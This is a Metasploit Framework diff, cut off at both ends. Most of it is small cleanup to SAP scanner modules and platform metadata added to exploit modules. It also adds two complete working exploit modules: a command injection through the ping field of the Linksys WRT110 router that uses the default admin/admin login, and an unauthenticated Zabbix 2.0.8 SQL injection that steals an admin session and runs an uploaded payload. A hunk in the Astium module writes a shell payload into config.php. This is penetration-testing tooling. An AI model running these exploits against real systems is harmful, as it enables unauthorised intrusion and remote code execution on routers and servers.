+ item_value = item.get_elements("mValue").first.text + + case item_name + when "Name" + name = item_value + when "Hostnames" + hostnames = item_value + when "IPAdresses" + addresses = item_value + end + end + + @computer_table << [name, hostnames, addresses] + + success = true + end + + return success + end + + # Get the mValues of every item + def parse_values(data, ignore) + values = [] + + item_list = data.get_elements("item") + item_list.each do |item| + value_item = item.get_elements("mValue") + + if value_item.empty? + value = "" + else + value = value_item.first.text + end + + if value == ignore + next + end + + values << value + end + return values + end + + # Parses an array of mProperties elements and get the interesting info + # including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and + # ITSAMNetworkPort properties. + def parse_detailed_info(data) + data.each do |properties| + if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty? + values = parse_values(properties, "ITSAMOperatingSystem") + parse_os_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty? + values = parse_values(properties, "ITSAMOSProcess") + parse_process_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty? + values = parse_values(properties, "ITSAMFileSystem") + parse_fs_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty? + values = parse_values(properties, "ITSAMNetworkPort") + parse_net_info(values) + end + end + end + + def parse_os_info(os_info) + @os_table << [ + os_info[0], # OS name + os_info[1], # OS type + os_info[2], # OS Version + os_info[7], # Total Memory + os_info[11], # Load Average (1m) + os_info[12], # Load Average (5m) + os_info[13], # Load Average (15m) + os_info[17], # Number of CPUs / Cores + os_info[18]+'%', # CPU usage (User) + os_info[19]+'%', # CPU usage (system) + os_info[20]+'%' # CPU idle + ] + end + + def parse_process_info(process_info) + @process_table << [ + process_info[0], # Process name + process_info[1], # PID + process_info[2], # Username + process_info[3], # Priority + process_info[4], # Mem size + process_info[5], # pages + process_info[6]+'%', # CPU usage + process_info[7], # CPU time + process_info[8] # Command + ] + end + + def parse_fs_info(fs_info) + @fs_table << [ + fs_info[0], # Filesystem Name + fs_info[2], # Size + fs_info[3], # Space Available + fs_info[6] # Is the filesystem remote ? + ] + end + + def parse_net_info(net_info) + @net_table << [ + net_info[0], # Network Device ID + net_info[1], # Packets In + net_info[2], # Packets Out + net_info[3], # Errors In + net_info[4], # Errors Out + net_info[5] # Collisions + ] + end + + + def run_host(rhost) + + vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") + + data = '' + data << '' + data << '' + data << 'true' + data << '' + data << 'providersaposcol' + data << "\r\n\r\n" + + begin + + res = send_request_raw( + { + 'uri' => "/", + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'text/xml; charset=UTF-8', + } + }) + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Unable to connect to service") + return + end + + if res and res.code == 500 and res.body =~ /(.*)<\/faultstring>/i + faultcode = $1.strip + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") + return + + elsif res and res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response") + return + end + + initialize_tables() + + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + + begin + response_xml = REXML::Document.new(res.body) + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + rescue + print_error("#{rhost}:#{rport} - Unable to parse XML response") + return + end + + success = parse_computer_info(computer_info) + if success + print_good("#{rhost}:#{rport} - Information retrieved successfully") + else + print_error("#{rhost}:#{rport} - Unable to parse reply") + return + end + + # assume that if we can parse the first part, it is a valid SAP XML response + parse_detailed_info(detailed_info) + + sap_tables_clean = '' + + [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| + sap_tables_clean << t.to_s + end + + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + + xml_raw = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) + + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) + + print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") + + end +end diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb index 97ad94550e..48fc715810 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb @@ -35,10 +35,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb index 03ecec680b..87f7e8b863 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb index 3865457ebd..c0b7982e1b 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb index fc5407c89d..d8cd96988c 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb index 6f325fab58..1bc6d2b266 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb @@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 8aca0777d1..9f3916f78d 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -41,10 +41,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb index 2ea1c238ce..475e2a42ef 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb @@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index 9ec4461cd5..b79efb90d2 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index b1b50210ba..0dd80a28fa 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -40,10 +40,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index 54c17c9f47..b6bc09bf83 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb index 02c438ebde..eb466edee9 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_version.rb @@ -38,10 +38,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index bb2c7a291a..3be16c6c72 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -47,10 +47,6 @@ class Metasploit4 < Msf::Auxiliary deregister_options('RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) res = send_request_cgi({ 'uri' => "/", diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index b987c49eea..f7c49afa3c 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -39,9 +39,14 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '1999-0506'], # Weak password - ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'DB_ALL_CREDS' => false, + 'BLANK_PASSWORDS' => false, + 'USER_AS_PASS' => false + } ) deregister_options('RHOST','USERNAME','PASSWORD') diff --git a/modules/exploits/apple_ios/browser/safari_libtiff.rb b/modules/exploits/apple_ios/browser/safari_libtiff.rb index e973180c92..5ec03ba846 100644 --- a/modules/exploits/apple_ios/browser/safari_libtiff.rb +++ b/modules/exploits/apple_ios/browser/safari_libtiff.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote ].pack("V*") }, 'Arch' => ARCH_ARMLE, + 'Platform' => %w{ osx }, 'Targets' => [ diff --git a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb index 23dcd9d6c5..e55a134f72 100644 --- a/modules/exploits/apple_ios/email/mobilemail_libtiff.rb +++ b/modules/exploits/apple_ios/email/mobilemail_libtiff.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, }, 'Arch' => ARCH_ARMLE, + 'Platform' => %w{ osx }, 'Targets' => [ diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 7680e51546..0319e37bc7 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');" # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root, # else during the config reload it might happen that an extra shell is spawned as the apache user. - phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" + phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');" phppayload << "fwrite($f, $orig . \"\");" phppayload << "fclose($f);" @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 120) # If we don't get a 200 when we request our malicious payload, we suspect - # we don't have a shell, either. + # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response...") end diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb new file mode 100644 index 0000000000..86cda53b68 --- /dev/null +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT110 Remote Command Execution', + 'Description' => %q{ + The Linksys WRT110 consumer router is vulnerable to a command injection + exploit in the ping field of the web interface. + }, + 'Author' => + [ + 'Craig Young', # Vulnerability discovery + 'joev', # msf module + 'juan vazquez' # module help + echo cmd stager + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3568'], + ['BID', '61151'], + ['URL', 'http://seclists.org/bugtraq/2013/Jul/78'] + ], + 'DisclosureDate' => 'Jul 12 2013', + 'Privileged' => true, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + ['Linux mipsel Payload', { } ] + ], + 'DefaultTarget' => 0, + )) + + register_options([ + OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), + OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), + OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) + ], self.class) + + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/HNAP1/' + }) + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + if res and res.code == 200 and res.body =~ /WRT110<\/ModelName>/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + test_login + + execute_cmdstager + end + + # Sends an HTTP request with authorization header to the router + # Raises an exception unless the login is successful + def test_login + print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") + + res = send_auth_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if not res or res.code == 401 or res.code == 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") + else + print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") + end + end + + # Run the command on the router + def execute_command(cmd, opts) + send_auth_request_cgi({ + 'uri' => '/ping.cgi', + 'method' => 'POST', + 'vars_post' => { + 'pingstr' => '& ' + cmd + } + }) + + Rex.sleep(1) # Give the device a second + end + + # Helper methods + def user; datastore['USERNAME']; end + def pass; datastore['PASSWORD'] || ''; end + + def send_auth_request_cgi(opts={}, timeout=nil) + timeout ||= datastore['TIMEOUT'] + opts.merge!('authorization' => basic_auth(user, pass)) + begin + send_request_cgi(opts, timeout) + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end +end diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb new file mode 100644 index 0000000000..6645f527fc --- /dev/null +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Zabbix 2.0.8 SQL Injection and Remote Code Execution", + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix + versions 2.0.8 and lower. The SQL injection issue can be abused in order to retrieve an + active session ID. If an administrator level user is identified, remote code execution + can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Lincoln ', # Discovery, Original Proof of Concept + 'Jason Kratzer ' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2013-5743'], + ['URL', 'https://support.zabbix.com/browse/ZBX-7091'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Zabbix version <= 2.0.8', {}] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 255, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python' + } + }, + 'DisclosureDate' => "Sep 23 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "httpmon.php") + }) + + if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ and res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ + version = $1 + print_status("#{peer} - Zabbix version #{version} detected") + else + # If this fails, guest access may not be enabled + print_status("#{peer} - Unable to access httpmon.php") + return Exploit::CheckCode::Unknown + end + + if version and version <= "2.0.8" + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def get_session_id + # Generate random string and convert to hex + sqlq = rand_text_alpha(8) + sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join + sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST" + sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 " + sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + # Extract session id from database + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "httpmon.php"), + 'vars_get' => { + "applications" => sqli + } + }) + + if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/ + session = $1 + print_status("#{peer} - Extracted session cookie - [ #{session} ]") + return session + else + fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session") + end + end + + def exploit + # Retrieve valid session id + @session = get_session_id + @sid = "#{@session[16..-1]}" + script_name = rand_text_alpha(8) + # Upload script + print_status("#{peer} - Attempting to inject payload") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => "zbx_sessionid=#{@session}", + 'uri' => normalize_uri(uri, "scripts.php"), + 'vars_post' => { + 'sid' => @sid, + 'form' => 'Create+script', + 'name' => script_name, + 'type' => '0', + 'execute_on' => '1', + 'command' => payload.encoded, + 'commandipmi' => '', + 'description' => '', + 'usrgrpid' => '0', + 'groupid' => '0', + 'access' => '2', + 'save' => 'Save' + } + }) + + if res and res.code == 200 and res.body =~ /(Script added)/ + print_status("#{peer} - Payload injected successfully") + else + fail_with(Failure::Unknown, "#{peer} - Payload injection failed!") + end + + # Extract 'scriptid' value + @scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body) + + # Trigger Payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "scripts_exec.php"), + 'cookie' => "zbx_sessionid=#{@session}", + 'vars_get' => { + "execute" =>1, + "scriptid" => @scriptid, + "sid" => @sid, + "hostid" => "10084" + } + }) + end + + def cleanup + post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)" + print_status("#{peer} - Cleaning script remnants") + res = send_request_cgi({ + 'method' => 'POST', + 'data' => post_data, + 'cookie' => "zbx_sessionid=#{@session}", + 'uri' => normalize_uri(uri, "scripts.php") + }) + + if res and res.code == 200 and res.body =~ /(Script deleted)/ + print_status("#{peer} - Script removed successfully") + else + print_warning("#{peer} - Unable to remove script #{@scriptid}") + end + end +end diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index e5e4474e3e..f8b88a2f0c 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -35,6 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1073, #ret : 1069 'BadChars' => "\x00", }, + 'Platform' => %w{ linux }, 'Targets' => [ # Target 0: Debian 3.1 Sarge diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index e22ce4570b..724645ab18 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -49,7 +49,8 @@ class Metasploit4 < Msf::Exploit::Local [ 'OSVDB', '96588' ], [ 'BID', '61966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], - [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] + [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ] ], 'DisclosureDate' => "Aug 22 2013" } diff --git a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb index 82f0cb9479..67fbd95a9e 100644 --- a/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb +++ b/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb @@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'PrependEncoder' => "\x83\xec\x7f", }, + 'Platform' => %w{ linux }, 'Targets' => [ [ 'Linux Bruteforce', diff --git a/modules/exploits/multi/browser/firefox_escape_retval.rb b/modules/exploits/multi/browser/firefox_escape_retval.rb index 6cf25b1b8f..490509e7aa 100644 --- a/modules/exploits/multi/browser/firefox_escape_retval.rb +++ b/modules/exploits/multi/browser/firefox_escape_retval.rb @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", }, + 'Platform' => %w{ win osx }, 'Targets' => [ [ 'Firefox 3.5.0 on Windows XP SP0-SP3', diff --git a/modules/exploits/multi/browser/firefox_queryinterface.rb b/modules/exploits/multi/browser/firefox_queryinterface.rb index 8dcbe2bb0b..47078e3728 100644 --- a/modules/exploits/multi/browser/firefox_queryinterface.rb +++ b/modules/exploits/multi/browser/firefox_queryinterface.rb @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1000 + (rand(256).to_i * 4), 'BadChars' => "\x00", }, + 'Platform' => %w{ osx linux }, 'Targets' => [ [ 'Firefox 1.5.0.0 Mac OS X', diff --git a/modules/exploits/multi/browser/firefox_svg_plugin.rb b/modules/exploits/multi/browser/firefox_svg_plugin.rb index bae40e6165..d164f99590 100644 --- a/modules/exploits/multi/browser/firefox_svg_plugin.rb +++ b/modules/exploits/multi/browser/firefox_svg_plugin.rb @@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote with script access should be able to trigger it. }, 'License' => MSF_LICENSE, + 'Platform' => %w{ linux osx win }, 'Targets' => [ [ 'Automatic', diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index c3f11c4aa1..27d104ae48 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -57,6 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BufferOffset' => 3, # See the comments below }, }, + 'Platform' => %w{ osx }, 'Targets' => [ [ diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index b8f55467cc..ec7be08a02 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, + 'Platform' => %w{ win osx }, 'Targets' => [ =begin diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index a48d602e39..ebef609d7d 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'DisableNops' => true, }, + 'Platform' => %w{ win osx }, 'Targets' => [ =begin diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 386138f449..119e0dcf5f 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 400, 'BadChars' => "\x00", }, + 'Platform' => %w{ win }, 'Targets' => [ # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index 226ab29d7d..0b76588660 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'BadChars' => "", }, + 'Platform' => %w{ win linux osx }, 'Targets' => [ [ 'Firefox 1.5.0.4 Windows x86', diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index 55c09e7afa..9a92490e3d 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -50,6 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'BadChars' => " ", }, + 'Platform' => %w{ unix }, 'Targets' => [ #[ 'Opera < 9.10 Windows', diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 76d130a87e..52669c41f8 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote 'RequiredCmd' => 'generic perl ruby telnet', } }, + 'Platform' => %w{ unix }, 'Targets' => [ #[ 'Automatic', { } ], diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 5b2a687a87..e57a45e14a 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -44,6 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'BadChars' => '' }, + 'Platform' => %w{ win osx }, 'Targets' => [ # diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index 8789ad6bab..02619d262c 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -46,6 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => "\x00", 'DisableNops' => true }, + 'Platform' => %w{ win linux }, 'Targets' => [ # test results (on Windows XP SP3) diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index 91d22571c5..9b5a1fe006 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote # 'RequiredCmd' => 'generic perl telnet', # } }, + 'Platform' => %w{ win linux unix }, 'Targets' => [ [ 'Windows', diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 70aa63bc8b..e15c3217b9 100644 --- 